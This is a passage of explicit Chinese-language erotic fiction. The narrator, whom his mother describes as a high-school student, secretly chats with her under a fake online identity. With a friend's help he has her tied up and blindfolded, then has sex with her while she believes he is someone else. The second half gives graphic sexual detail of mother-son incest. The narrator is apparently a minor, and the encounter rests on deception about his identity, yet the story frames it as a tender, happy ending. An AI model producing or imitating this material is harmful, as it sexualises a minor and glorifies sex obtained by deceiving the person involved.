“我也就是随便一听,她也没怎么仔细说,大概就是她老公总在外边忙,有一次她参加什么同学聚会遇见一个老同学,后来俩人就总在一起睡觉,结果被她老公发现了就离婚了,听说她还和那男的去外地搞过生意,开什么声讯台,就是找一帮女的跟人聊电话,什么来劲说什么,后来让扫黄的给查封了,跟她合伙那男的进去了,她跑回来了,要不也得进去。”看到这,我实在无法再和黄朗聊下去了,我的忍耐和承受能力已经到极限了,我怕知道更多我不想知道的事情,我决定今天就到此结束。
“我身体不太舒服,先聊到这吧,我下了。”发完这条消息后,我立刻关上了电脑,走到窗前开了一条大缝,严冬的硕风不停灌进来,吹在我的脸上身上,我深吸了几口冷气,扒在窗台上大喊大叫。我能看见楼下经过的行人朝我这里张望,他们一定以为我是个疯子,可是他们哪里知道我心中的痛苦啊。
这一夜我做了个梦,梦见妈妈突然出现在我的面前,我大声的责问她为什么要做那种丑事,而妈妈却总是欲言又止,好像有什么委屈不能说出来,正当我要追问她的时候,黄朗突然赤条条的出现在妈妈身后,笑嘻嘻的拉着妈妈去做那种事,我愤怒极了就喊妈妈不要跟他去,还对黄朗破口大骂,骂着骂着我就被自己吵醒了。我先是觉得口渴,然后觉得浑身酸痛,还有点发烧头昏。这几天又急又气,心里憋着一股火,刚才又被冷风一吹,显然我是感冒了,不过我也没太在意,下床喝了一大杯水就又昏昏沉沉的睡了。
第二天病情加重了,高烧三十九度,嗓子疼的连话都说不出来,小张阿姨带我去医院打针,整整陪了我一个上午,中午把我送回家,亲自煮了白粥喂我吃完,才又赶着回厂里处理工作,她对我的这份照顾之情令我感动,即使是亲生母亲能做到这样也就可以了,相比这下我的那位亲妈此刻又在做什么呢,想必是夜夜宣淫,快活似神仙吧。我正躺在床上大发感慨,手机突然响了,拿起来一看居然是黄朗打来了,正在我犹豫要不要接他的电话,接了之后说什么的时候,那边却挂断了,我的心好跟着放下来了,可没过三分钟他又打过来了,我决定还是接了,听听这小子说什么。
“喂!”
“你好,小五在吗?”
“我就是。”
“我操,我还以为是别人呢,你声咋变了呢,跟我玩深沉是不?”
感冒之后我的鼻子发堵,嗓子也哑了,连我自己都听不出原来的声音,难怪黄朗会听错人了,我说:“感冒了,嗓子疼。”
“你昨天说不舒服我没在意,敢情你还真是病了,怎么样了吃药了吗,要不行就打针吧,别挺着。”
“没事,死不了。”
“要不我过去看看你吧,给你帮个忙啥的。”
“不用了,挺麻烦的,我在家里有人照顾,过两天就好了。”
黄朗说了好多安慰我的话,他听我说话的声音有气无力的,就说不打扰我休息,改天再给我打电话,当天晚上他就又来了一通电话,我也是没聊几句就挂了。
平心而论,要不是黄朗搞了我妈妈,他还真算得上是一个好哥们,况且他也不知道那个女人就是我妈,应该算是无心之过吧。俗话说患难见真情,这场病让我看清了周围的人,开始理性的看待我母亲这件事情,内心仅存的一丝对母亲贞洁的幻想宣告破灭了,现在我唯一关心的是她是否还爱我这个儿子,在她心中性爱和母爱到底哪个更重要,基于搞清楚这个问题的目的,我决定实施第二套方案。
病情刚刚有所好转,我就又在网上和黄朗联系上了,并把我申请的小号加入他那个QQ群,黄朗答应替我保密,不在群里暴露我的身份和姓名,还让我当了管理员。就这样,我计划的第一步顺利实施了。
第二步,我要了解妈妈在群里的动态和关于她的一切信息。妈妈在群里的名字叫‘爱神’,每天晚上七点多就会出现在群里,直到半夜十二点才下线,这几个小时也是群里最活跃的时间段,大家争相发送黄色笑话和图片,却很少见到妈妈在群里公开说话,后来我才知道那是因为她正忙于和人私聊,说的当然都是些肉麻甚至恶心的话,在这里我就不一一举例了。重要的是我在群相册里发现了妈妈的很多照片,这些照片被分成几组,有用电脑摄像头照的大头贴,有妈妈年轻时的个人生活照,当然更多的则是那些淫秽下流的所谓艺术照,其中有一张是新上传的近照,照片里的妈妈有着一头乌黑的长发,凌乱的披在她光滑的肩膀上,从红红的脸上可以看出她喝了酒,不知羞耻的卖弄着淫荡的表情,眼角眉梢都流露着勾人的风骚,只见她双臂交叉在胸前,将本来就很丰满的乳房挤的快要爆开了。图片比较大,我用鼠标再往下拉,两团黑乎乎的阴毛出现在画面上,阴毛中立着半根青筋暴起的肉棒,还有半根已经插进了妈妈的身体里。照片右下角标着日期,正是我上次回老家看她,坐零旦车的那个晚上。
看着这张照片我在想,不知那一夜妈妈和这个男人做了几次,早晨起来连被都没叠就走了,结果我还替她收拾了爱巢,早知如此我真恨不得把那张大床一把火烧了,免得留着恶心。
接下来的一天,我用‘雪中孤儿’的QQ小号给妈妈发了很多条消息,可她一条也没回我,要是换了别人肯定会失望,可是我不但没有失望,反而非常高兴,这就说明起码她不是什么人都理的,可是她总不理我也不行啊,我得想个办法和她交流起来,这时我想起了黄朗,他一定知道怎么才能让我和‘爱神’说上话,于是我就求助于他。黄朗的话很干脆也很直接:“你娃瓜着呢,女人都是爱慕虚荣的,你夸她漂亮不就得了,她肯定上钩,有什么不懂的再来问我。”我照黄朗的话做了,连着给妈妈发了几条消息,都是夸她如何美丽漂亮的,但结果只换回了四个字:“呵呵,谢谢。”之后就再也没有动静了,也许正是因为妈妈对我的不理不睬,我开始渐渐产生一种错觉,妈妈并非是一个人尽可夫的荡妇,至少她对陌生人还保持着一份矜持,因此我对这群人的厌恶感也慢慢淡化了,也许是我自欺欺人,但我真的宁肯相信他们都和我一样,在妈妈那里讨不到什么便宜。
有这纠结的几天里,我习惯了在网上使用双重身份,一面是真实的我自己,偶尔和妈妈聊几句,她也总是一本正经的叮嘱我:“放假别光顾着玩,把以前学的功课拿出来看一看,上高中就是不进则退,在这个关键的时候千万不能分心。”
我当然顺着她的话说,可心里却不以为然:“你叫自己的孩子不要分心,反倒去害别人家的孩子!”
另一面,我又是在网上寻找性爱的‘雪中孤儿’,每当吃完晚饭我就把自己关在房间里,静静等候‘爱神’的出现,然后发一些黄色笑话和图片给她,渐渐的她也开始注意到我,能和我聊几句,但仅限于普通网友的程度。我开始逐渐产生一种念头,希望妈妈能和我说一些亲昵的话,就像她和黄朗说的那种,但这个念头刚产生就被我的理智制止了,我暗自责怪自己的想法有多么邪恶。
时间过了真快,转眼间已至年关,家里来了很多客人,爸爸和小张阿姨忙前忙后,根本顾不上我。而我呢,总是有意避开人群,显得与喜庆热闹的气氛格格不入,因为我总是感觉别人在用异样的眼光看着我,也许这是我作贼心虚吧,我想他们是不喜欢看见我颓废的样子的,所以我很识趣的把自己囚禁在房间里,看电影也好,玩游戏也好,总比在爸爸的朋友和同事们面前强颜欢笑的好。
直到爸爸和小张阿姨送走了亲朋好友后,这才想到家里还有我这么一号人。
到了晚上,小张阿姨叫我出去吃饭看电视,我说没兴趣,爸爸见我始终躲在房间里不肯出去,便亲自来和我谈话,说:“小五,这是你张阿姨第一次和咱们一起过节,你知道这对她有多大意义吗?所以你必须和我们一起吃这顿饭,张阿姨对你这么好,别让她伤心,听话。”爸爸的话有理有力有节,容不得我不答应,我只好仪式般的陪他们吃了这顿饭,然后又幽灵一样的溜回了自己房间,锁上门拒绝一切骚扰。
我从所屉里拿出一包香烟,开始对着电脑吞云吐雾,抽烟这个习惯也是从发现妈妈的丑事开始的,何以解忧唯有玉溪,爸爸和小张阿姨是不知道的。凌晨一点以后,我的QQ里基本就没什么人在线了,换了‘雪中孤儿’的小号一看,群里更是比图书馆还安静,想找个人聊天都没有。也许是我吃的东西不太干净,忽然感觉肚子疼,便放下电脑急匆匆的跑进了卫生间,当我一泻千里,再回到电脑前的时候,发现妈妈的头像正在QQ上跳个不停,我心想:“妈妈还是挺惦记我的,这么晚了还给我发消息。”
我点开消息一看,内容简单却很贴心:“你在啊?陪我聊聊天好吗?”我毫不犹豫的回了一条消息:“当然了,妈,我特别想你。”当我发出这条消息之后,好像感觉哪里不对劲,仔细一看我差点傻了,原来妈妈的那条消息不是发给我的,而是发给‘雪中孤儿’的,我在回复时称呼她为“妈”,这样会不会被她看出来?
我心想这下可糟了,要是被妈妈发现‘雪中孤儿’就是我,那我还有什么脸见她啊?这一刻我即紧张又羞愧,不知怎么办才好,就在这时妈妈的消息又发过来了。
“呵呵,你想给我当儿子啊?那要看你长的帅不帅喽。”
看到这条消息我松了一口气,看来妈妈是把我当成恋母的网友了,总算没露了馅,我赶紧回复过去。“我长的不怎么帅,也不怎么丑,您能给我当妈妈吗?”
“那你拿什么孝敬妈妈呀,儿子可不能白当哦。”
“我还是个学生,还没挣钱呢,等我挣了钱肯定好好孝敬妈妈。”
“呵呵,真是个乖孩子,妈妈不要你的钱,只要你身上一样东西,不知道你愿不愿意给妈妈呀。”
只要是不太笨的人,想必都已经猜出‘爱神’话里的意思了,明显是在挑逗‘雪中孤儿’的性趣。我的心跳的很厉害,不知道怎么回答她,只好装傻充愣。
“我身上哪有什么好东西啊?”
“呵呵,乖宝宝,我猜你是处男吧?”
“嗯,是的。”我的脸开始发热,手心也冒出了汗。
“能告诉我你叫什么名字,今年多大了,现在在什么地方吗?”
妈妈问这些干什么?难道她想……不可能吧,对于她来说我只不过是个陌生人,肯定是我自己想多了。我想了想,然后告诉妈妈我姓文,她可以叫我小文,年龄多说了两岁,至于她问我现在在什么地方,我就说我住在老家广播局旁边的那个楼里,那里离妈妈住的地方比较远,不容易引起她的怀疑。
“原来我们在一个地方,过了这么久才知道,你为什么不早告诉我呢?”妈妈得知我是和她在同一个城市的,便显得主动多了。
“过去和您打招呼,您都不理我。”
“好儿子,这可不能怪我,如果你早管我叫妈妈,说不定我们已经成为老熟人了,你想让我怎么理你,我就怎么理你,小文,你想让我怎么理你呢?”
“我……我不知道……”
“你现在方便吗?我们找个地方坐坐,让妈好好疼疼你。”
“不行,我要睡觉了。”面对着自己母亲的勾引,我真的无法从容应对,更可怕的是我发现自己的身体居然有了反应,我曾听人说过“男人是用下半身思考的动物”,看来这话真的没错,明知对方是我的亲生母亲,但性欲还是战胜了理智,我唯一庆幸的是她不在我身边,否则的话我真不知自己会干出什么大逆不道的事。
“真的不行吗?还是不愿把自己的初夜送给一个老太婆?”妈妈还在不停勾引我。
“不是的,妈您很美,真的,只不过我不想这么快就开始,您在我心里就和我的亲妈一样。”
这回妈妈并没有马上回复我的消息,而是等了几分钟才发过来:“我明白了,你是个好孩子,不好意思,我刚才有点失态了,实在是因为我太寂寞了,希望你不要介意。”
“我能理解。”我真的能理解吗?“妈妈,我还是叫您妈妈吧,您以后还会和我聊天吗?”
“呵呵,当然了,妈妈喜欢好孩子。”
“嗯,您会一直在网上吗?”
“这几天我没什么事,你什么时候想我就Q我吧,给我打电话也可以。”接着妈妈把她的手机号发给了我,欢迎我随时打给她。
这一夜,我在床上翻来覆去,怎么也睡不着。我在想我和妈妈可不可以超越母子之情,而又不影响我们现有的关系,把网上的双重身份带到现实中来,这么做会有什么结果,总之我想了很多,但始终是在理与性之间纠缠不清,我真希望有人能帮我。
两天以后爸爸突然说要带我回老家,我心猛的一跳,问他回老家干什么,爸爸说:“咱们搬出来半年多了,过节还不得回老家看看亲戚呀。”我说:“咱家在老家还有什么亲戚啊?”我爷爷去的早,奶奶也在几年前去世了,叔伯们散居各处,平时很少聚在一起。爸爸说:“这次回去主要是看看你张爷爷。”这么一说我就明白了,敢情我爸是要去看他现任老丈人。
“你俩去就行了,带着我这么个外人怎么回事?”
“什么话,你不是我儿子?”
我扭不过爸爸,只好陪他们回老家走一趟。我们三人早晨从家里出发,下午两点终于到了地方,一下车就受到了一个男人的热情接待,这个人四十多岁,是小张阿姨的大哥,他是特意等在这里接站的,看见我们带了很多礼物,他说:“嗨……都不是外人,带这么多东西干啥,家里什么都有,快上车吧。”接着拦了一辆出租车,带着我们进奔家去了。
小张阿姨的母亲在三年前因病去世了,家里还剩一个老父亲,和她大哥在一起住,另外还有一个姐姐,他们听说小张阿姨带着爸爸回娘家,所以就凑在一起吃顿饭。我对闹哄哄的场面很不适应,尤其是一群陌生人在我面前晃来晃去,即便他们对我表示出了善意,但我始终以冷面相对,人们都说离异家庭出来的孩子性格孤癖,其实也分对谁,对着这群毫无感情的陌生人,叫我怎么热情得起来?
席间长辈们喝酒聊天,我感觉无聊极了,便把手机藏在桌子底下,偷偷给妈妈发了一条短信:“妈,你干什么呢?”大概过了五六分钟,妈妈才给我回了三个字:“我在忙。”我又问:“忙什么呢?”她回答:“我收拾货呢,今天一天都没时间,改天我再打给你。”我又发了一条:“要不要我帮你?”这回直到吃完饭她也没给我回短信,我不禁有些失望,不知道该不该告诉她我回来了,或许我们该见了面。
饭后主人家又招待我们喝茶、吃水果,聊了一会天,小张阿姨的大哥带我们前往已经安排好的酒店住宿,临走时对小张阿姨说:“小三儿,后天早晨我过来接你们,咱们一起去给妈送灯。”阳间过节要挂灯笼,阴间过节则要送长明灯,我们这里的民俗就是这样,不知道别的地方有没有。
我听见小张阿姨的大哥喊她“小三儿”,不由得暗自好笑,于是便和她开玩笑说:“原来你叫小三儿,我叫小五儿,咱俩倒是挺配套。”小张阿姨哈哈一笑,轻轻拍了拍我脸,说:“嗯,没错。”我晕,被人叫小三儿她还笑得出来,真是个傻阿姨,不过我倒是觉得和她越来越亲近了,甚至有时候想改改对她的称呼。
在酒店爸爸和小张阿姨住一间,我单独住一间,酒店里可以上网,我发现妈妈竟然在线,心想:“刚才我给妈发短信,她说在收拾货物,一整天都没时间,现在怎么又有闲工夫上网了。”我以‘雪中孤儿’的身份给她发了一条消息:“妈,你在啊?”几乎在同一时间,她也给我发了一条:“小文,陪我聊聊好吗?”
“好啊,只要您有时间,我就陪您聊,我就怕耽误您工作啊。”我有意试探她,看她到底是真忙还是假忙。
“呵呵,我上次不是说了么,这几天我都有时间,你随时都可以来找我。”
“是啊,我忘了。”
“不过只有这几天噢,所以你要抓紧机会了,明白我的意思么?”
“不太明白,什么机会啊?”我不敢说自己很聪明,但是这么明显的勾引连傻子都看得出来,我只想让妈妈说个明白。
“呵呵,臭小子,跟妈妈装傻。”
“我真的不明白啊。”
“好吧,我说了,这几天没人陪我,有点寂寞,如果你愿意到我家来陪我的话,保持让你欲仙欲死。让我自己说出来了,满足你的兽性了吧?”
自从我发现妈妈的丑事开始,我就一直希望这不是真的,到后来我发现这是不争的事实,我只希望妈妈对我的爱不会因为她的私生活而减少,可是直到这一刻,我已经彻底看清了妈妈的真面目,她可以为了一时的性欲而不理亲生儿子,反而去勾引一个素未谋面的网友上床,在我的经历中还从没见过一个像妈妈这么不知羞耻的女人,我对她的感情也从深爱变为怜悯,又从怜悯变为怨恨。我恨这个女人,我恨她背叛了丈夫之后又欺骗了儿子,我要惩罚她,让她得到一个滥交女人应有的下场。
清朝有部小说《肉蒲团》,写的就是一个名叫‘未央生’的人,他到处淫人妻女,结果自己的妻子亦被人淫,还被卖进了妓院。邵丽喜欢勾引少男,所作所为与未央生无二,却不知报应循环,冥冥之中自有天意,要不是因为小五给了妈妈一个QQ号,而黄朗正是通过这个QQ号认识了邵丽,两人才男荡女娼一拍即合,直到后来儿子由爱成恨,才上演了一段母子相奸的亲情巨变。
故事继续发展,我决心报复这个滥交的坏女人,于是我给黄朗打了电话,请他帮我这个忙。
“喂,黄朗啊,你在哪呢?”
“我在我大舅家吃饭呢,这几天净串亲戚了,特忙,也没给你打电话。”
“哦,我想求你件事啊,你有时间吗?”
“我擦,咱哥俩谁跟谁呀,还用求?有事你就说吧。”
“我现在在老家呢,要不咱俩见面说吧。”
“那好啊,挺长时间没见面了,正好咱俩喝点,晚上我在老地方等你,还记得不,就是邮局旁边那个小饭店。”
“嗯,行,就这么着,晚上见。”
我放下电话,心情久久不能平静,算计着到时候怎么和黄朗开口。咣、咣、咣,有人敲门,我开门一看是爸爸,把他让进屋里坐下,说:“爸,我给你沏杯茶喝吧,看你喝了不少酒。”于是我泡了一杯酒店送的袋茶,爸爸接过来喝了一口,说:“你有挺长时间没看你妈了吧?”我点了点头。爸爸又说:“明天我和你张阿姨要到外面会朋友,后天还得给她母亲送灯,没时间陪你了,你要是想看看你妈就去吧。”我还是点了点头,始终没有说话。爸爸站了起来,拍了一下我胳膊,然后就出去了。看着爸爸的背影,我很想对他说:“爸爸你做的对,妈妈不值得你留恋,小张阿姨才是个好妻子。”
晚上我如约到了邮局旁边那个饭店,这里是我和黄朗过去经常聚餐的地方,便宜又实惠,上次黄朗给我摆送行酒也是在这个地方,我到的时候黄朗已经等了半个多小时了,但他并没有怪我来迟,而且上来就给我一个拥抱,热情的甚至让我有些感动。面对着搞我妈妈的人,我本来应该很愤怒的,至少应该显得很尴尬才对,可我却被黄朗的友情感染着,不知不觉间已经在心里原谅了他。
我和黄朗在二楼找了个地方坐下,幸好这时候不是饭点,二楼除了有个服务员正在扫地之外再没有别人,我们随便点了几个菜和一打啤酒,一边喝一边闲聊,喝到面熏耳热的时候,黄朗问我:“哥们,你不是说有事让我帮忙吗,你说吧,只要你说得出,我就指定给你办,拿你的事当我自己的事办,你尽管说。”我喝了几甁啤酒之后脑子发热,胆也壮了,便说:“你跟我说那女的,就是叫邵丽那个,你能不能想办法让我玩玩?”这时扫地的服务员已经下楼了,楼上只有我们两个,所以我说起话来更是无所顾及,以酒遮脸也不觉得脸红。
“哈哈,你小子终于开窍了,我还以为你真是正人君子呢,不过话说回来了,那骚逼情人多的是,我也是逮着机会才能去她那睡一觉,这几天忙的根本没空跟她联系,不过你放心,这事我肯定帮你办,但什么时候可就不一定了。”
“我都跟她说好了,她这几天就有空,说我什么时候去都行。”
“我操,哥们你太有能力了,自己就搞定了。”黄朗喝了一口酒,又说:“不对呀,你都把她搞定了,还找我帮什么忙啊?哦……我知道了,你小子良心大大的坏了,头一次就想玩3P,找我帮这忙来了,你太够意思了,这忙我故意忙。”
我见他越说越扯,赶忙叫他打住,说:“不是那么回事,我是想让你帮我想个办法,即让我干了她,又不能让她看见我。”
黄朗正在喝酒,听我提出这个要求,差点没喷出来,说:“让你干她,还不能让她看见你,这难度系数也太高了吧?”
“我知道不容易,要不怎么能求你帮忙呢,你鬼主意多,帮我想想。”
“先别夸我,你先告诉我,为什么你不想让她看见,你长的也不丑,还怕她看啊?”
“是这么回事,邵丽和我后妈认识,我怕她见着我以后不好办,你明白了吧。”
我早就料到黄朗会问我这个,所以在酒店的时候就把理由编好了,这时候正派上用场。
“哦,我明白了,怪不得你让我在群里装成不认识你,敢情是怕邵丽知道,把这事告诉你后妈你就惨了。”
“可不是么,这回你都知道了,该帮我想个办法了吧。”
“别着急,办法肯定有,今晚上哥们就给你想出一条妙计来,先喝了。”
我们俩推杯换盏,又喝了几甁啤酒,两个人醉的都不行了,索性我就把他带回了我住的酒店,洗也没洗就倒在床上睡着了。第二天我醒来的时候,黄朗已经洗漱完毕,正坐在沙发上一边看电视一边抽烟呢,这小子酒量果然比我强多了,七八甁啤酒下肚,睡一觉又精神百倍了。相比之下我就逊色多了,头还是有点昏,进洗手间洗了把脸,出来跟黄朗要了根烟,说:“你什么时候起来的?”黄朗说:“九点多,对了,你爸刚才来了,让我告诉你一声,他们出去会朋友了,晚上才能回来。”
我一看表,现在已经下午一点多了,没想到我睡了这么久。黄朗又说:“事儿我给你办妥了。”我不解的问:“什么事?”黄朗说:“你不会吧,就是昨晚上你让我办那事。”看来我是喝多了,还没清醒呢,怎么把这事给忘了,就问他:“这么快?你是怎么办的?”
“我一起来就给她电话了,说我今晚上想去她家住,她就答应了。”
“这就完了?”
“没有,你听我说呀,到时候我把她手绑起来,眼睛蒙上,你在外边等着,我一叫你你就进去干她,她还看不见你,这不就成了吗。”
“这能行吗?她能那么老实的让你绑吗?我看还是算了吧。”我看他的主意太馊了,我只想肏妈妈一次而已,可不想让她的人身安全受到伤害,所以我打起了退堂鼓。
“你放心吧,使用暴力的事咱们不能干,不高级,想肏那老逼还不容易吗,SM你知不知道?到时候我就说想玩点特别的,反正她又不是第一次,你只管听我的吧。”
我心里七上八下的,也不知道他这个办法能不能成,到时候我看情况再说,万一他搞不定我就先溜,总之不能让妈妈发现我,以后还可能有机会,想到这里我就答应了,于是我们开始商量具体细节,就等着今晚实施了。冬天的白昼很短,我们在房间里谋划着,不知不觉窗外的天空已经灰蒙蒙的了,我和黄朗在酒店餐厅里随便吃了点,我还特意喝了一小甁白酒,过了一会,觉得酒劲稍稍上来了,就开始按照计划好的办事,我们先去附近的超市买了一卷胶带和呢绒绳,然后就往妈妈住的地方走。
走着走着,天空中突然下起了雪,天也越来越黑了,等到我们走到妈妈住处的时候,天已经完全黑了下来,我看了一下手机,这时是晚上六点多,我和黄朗先在周围观察了一圈,见路上没有行人经过,便来到了那扇黑漆大门前。大门没有上锁,看来妈妈是有意给黄朗留个门,于是我们轻开大门,黄朗嘱咐我说:“你先藏起来,等我震你一下,你就来。”然后他就进去了。
屋里的灯是开着的,我看见妈妈正坐在床边摆弄电脑,估计是在和某个网友热聊呢。这时黄朗已经到了屋里,妈妈站起身迎了上去,放荡的将手臂搭在他的肩膀上,又在他的脸上亲了一口,黄朗也毫不客气的搂住妈妈的水蛇腰,用他的下身撞了妈妈一下,虽然我听不见他们说什么,但我能看见妈妈在笑,表情妩媚而又风骚,她可从来没对我这样笑过,只看到这里我已经妒火中烧了。
妈妈上身穿了一件黑色紧身毛衣,领口开的很大,隐隐约约可以看见她的乳沟,下身不在我的视线之内。妈妈和黄朗聊了几句,然后从房里走了出来,我吓的赶紧找地方躲,正好小院的西南角摆着一堆纸箱,我就藏在纸箱后面。从窗户透出的灯光映照之下,我看见妈妈下身穿着一条拉绒紧身打底裤,外面套了一条皮短裤,小小的只能包住屁股,显得丰满又紧翘,走起路来一扭一扭的,脚上穿着齐膝的高跟皮靴,使妈妈整个人看上去成熟而又时髦。只见她走到大门前,假装清清嗓子,嗯了两声,然后就把大门锁上了。
看来妈妈没少在家里和野男人鬼混,这么有经验,我越想越生气,只见她回到屋里后又把窗帘拉上了,厚实的窗帘将屋里的光线遮住,我只能看见他们模糊的身影。两条紧抱在一起的人影映在窗帘上,然后一起倒了下去,此刻他们正在床上又亲又抱,而我却只能在外边挨冻吞口水。
我等啊等啊,手脚快要冻僵了,我担心黄朗会不会自己独享风流,不管我了,要不要给他打个电话呢?正在这个时候,屋里的灯光暗了下来,随即我的手机也响了一下,拿出来一看,正是黄朗发的信号。我拍拍身上的积雪,轻手轻脚的向门口走去,黄朗开门迎了出来,悄悄对我说:“都安排好了,你进去吧,悠着点。”
我见他没有要和我一起进去的意思,便问:“你呢?”黄朗说:“这是你的第一次,我就不和你争了,先走了,好好享受吧。”说完,他把我往门里一推,冒着雪跳出了大门,回头对我做了个打电话的手势,消失在茫茫雪夜中。
我进了外屋,原本堆满了货物的房间已经空了,看来妈妈这段时间生意不错。
我怀着忐忑的心情,迈步进了里屋,眼前突然出现的情景让我震惊了,在电脑屏幕光线的照映下,只见妈妈赤身裸体的跪在床上,除了一双丝袜之外什么都没穿,眼睛上被罩了一条白毛巾,双手被胶带缠着举过头顶,用绳子绑在吊柜上,就像我在A片里看过的性虐待一样,只不过眼前这个女人不是女优,她正是我的亲生母亲,一个让我又爱又恨的女人。
我不敢出声,轻轻的走向一丝不挂的妈妈,站在床边伸手去摸她,还没等我碰到,妈妈已经迫不急待的说:“小冤家,还不过来,让人家等到什么时候啊?”
我像是受到了极大的鼓舞,伸出两只冰凉的手,向妈妈那丰满而又温暖的乳房抓去。妈妈被我带着寒气的身体一抱,突然打了个冷颤,马上感觉出不对劲,大声问:“你是谁呀!”我怕妈妈认出我,慌不择言,紧张的说:“我……我是黄朗啊,你不认识我了?”幸好我的嗓子因为感冒和抽烟而变得沙哑,否则我已经被自己的声音出卖了。
妈妈听出不是黄朗的声音,开始变得紧张,使劲的想摆脱,但她的手被绑的很紧,怎么挣也挣不开。我用力的抱住妈妈,恐吓说:“你别动,再动我就喊人了!”通常情况下,这句话应该是由被胁迫者说出来的,可现在的情况是,妈妈不想让知道她的丑事,如果这时我真喊人过来,看见她现在这副样子,恐怕对她没有任何好处。妈妈喘着粗气说:“你不是黄朗,你到底是谁,想干什么?”
“我是小文,你忘了?”我抓着妈妈被绑的双手,防止她挣脱。
“小文,怎么是你?”妈妈得知是小文,变得不那么紧张了,又说:“你和黄朗搞什么名堂,快点放开我。”
“我就想这么玩,您不是也挺喜欢吗,我保证不伤害您。”
“你们俩想玩就直说嘛,干嘛这么偷偷摸摸的,吓死我了。”
“妈,现在屋里就咱们俩。”我的一只手已经放在了妈妈肥厚的屁股上,另一只脱掉了上衣,接着又解开了腰带。
“把毛巾摘掉吧,我想看看你。”
我肯定不会把罩在她眼睛上的毛巾解下来,只说了句:“完事我就给你解开。”
然后迅速脱下裤子,绕到妈妈身后抬起她的大屁股,试着找洞插进去,但我毕竟还是个处男,在这么紧张的时刻,面对着‘爱神’性感成熟的玉体,我的鸡巴竟然硬不起来,可能心里知道她是我的妈妈,出于对伦理的最后一点敬畏,这成为了我淫母之路上的最大障碍。
我一边用手打飞机帮助勃起,一边趴在妈妈光滑的背上,在她耳边小声说:“妈,我是你儿子,我要肏你。”说这句话的时候我的心跳的很厉害,这让我即紧张又兴奋,闻到妈妈脸上化妆品的香味,让我感觉更刺激。我忍不住在她的脸上乱亲乱舔,鸡巴在妈妈的臀沟里不停的磨,终于变得又大又硬,不用手扶也能顶着妈妈的屁眼,慢慢往里插。妈妈也被我的激情感染了,浪笑着说:“小畜生,头一次就想肏我屁眼啊?”
整间屋子里除了电脑屏幕之外再没有别的光源,妈妈的屁股又是背对着光,我根本看不清楚哪里是屄,哪里是屁眼,只感觉龟头的前端已经塞进了肉洞里,有点疼,但是很舒服,再往里插却插不进去了。
“儿子,把鸡巴伸过来,妈帮你舔舔,湿了就好肏了。”
听见妈妈叫我儿子,感觉就像她明知我是她的亲儿子,仍然愿意和我乱伦一样,我照着妈妈的话,把涨的难受的大鸡巴送到她嘴边,双手托着她又白又圆的大奶子,感觉很有份量,暗红色的乳头也已经变硬了,用手指拨弄一下,马上就像弹簧一样弹了回来。妈妈闻到我鸡巴的味道,先用脸蹭了两下,然后找准位置,送给了我的龟头一个香吻,接着就张开嘴大肆吞吐,舔的鸡巴又湿又滑,就像抹了油一样。
“这回再试试。”妈妈舔了一下嘴角的液体,主动将屁股转了过来,撅的很高,让我可以借着电脑屏幕发出的光看清楚。这是我一直梦寐以求的地方,这是我曾经最初的家,现在我终于可以回家了。妈妈的屄鼓鼓的,没有A片里日本女优的屄漂亮,但大阴唇上的阴毛不多,看起来比较干净,我将雄起的大鸡巴送到妈妈的阴道口,对她说:“妈,亲儿子现在要肏你了,可以吗?”妈妈说:“肏吧儿子,老妈的屄就是为你长的。”
得到了妈妈的许可之后,我把腰向前一挺,鸡巴顺着滑溜溜的阴道插了进去,这是我人生中的第一插,而且被我插的就是我的亲妈,那感觉真是奇妙极了,不光是身体上的舒服,更多的则是心理上的强烈刺激。第二下、第三下、第四下、、、我的鸡巴与妈妈的阴道每磨擦一次,就仿佛有一股电流从下体传遍全身,我越肏越猛,嘴里叫道:“妈,亲妈,我肏死你,我是你亲儿子,我和你乱伦了,爽不爽,老骚货。”
“这大骚儿子,真骚啊,爽死你老妈了。”妈妈被我奸淫着,屄里的水越流越多,顺着她的大腿跟直往下流,当她热情的回应着我的时候,却不知道正在肏她的男人,其实真的是她的儿子。
妈妈像条母狗一样,撅着浑圆丰满的大白屁股,被我从后面插了个够,我又躺在床上,让她跨在我的鸡巴上,就像妈妈拍的艳照里那样,从下面干她。妈妈主动的配合着我,屁股跨在我身上一起一落,每次都能听见啪啪的响声,她的两个大奶子也随着节奏跳上跳下,害得我总是抓不住。
“妈,你喜欢儿子吗,爱他吗?”
“妈妈不喜欢你就不会和你做爱了。”
“我是说你的亲儿子,爱吗?”
妈妈屁股的起落并没有停止,但她并没有回答我的问题,我替我自己感到失落,认为她不爱我,便猛的向上插了几下,骂她说:“你这个臭婊子,老骚逼,就会勾引野男人,我肏死你,我肏死你,让你下贱,贱货,贱逼!”正在我一边骂一边肏她的时候,妈妈突然说了一个字:“爱!”
几乎与此同时,我把人生中第一道精华射进了妈妈的身体里,肉体和心灵上的双重幸福感充满了我的全身,我听见了妈妈说的“爱”字,知道无论怎样她都是爱我的,这就足够了。我紧紧的抱着妈妈,将脸贴在她的胸口上,暗自流下了幸福的眼泪,轻轻不停的叫着:“妈……妈……”
“好孩子,怎么了?”妈妈亲吻着我的额头,用她的脸轻轻贴着我的脸,感觉到我正在流眼泪,便温柔的问:“你怎么哭了?”
我抹了一把眼泪,把妈妈从我身上抱了下来,一股精液顺着她的大腿淌到床上。我的鸡巴和大腿内侧,也沾满了自己的精液和妈妈的淫水,我也顾不上擦,首先穿好衣服,然后把妈妈的手从吊柜上解了下来,趴在妈妈的耳边轻声说:“妈,我爱你!”说完这句话,我迅速跑了出去,跳过大门,在大街上不知疲倦的跑着……跑着……
半年后的一个黄昏,我从学校篮球场下来,正准备回家,走到大门口的时候,我看见街对面立着一个身影,她披着一头乌黑的长发,身穿一条淡蓝色的连衣裙,脚下是一双白色凉鞋,显得干净清爽,这个人正是我的妈妈,夕阳余辉映照下,她正看着我微笑,那笑容灿烂而美丽。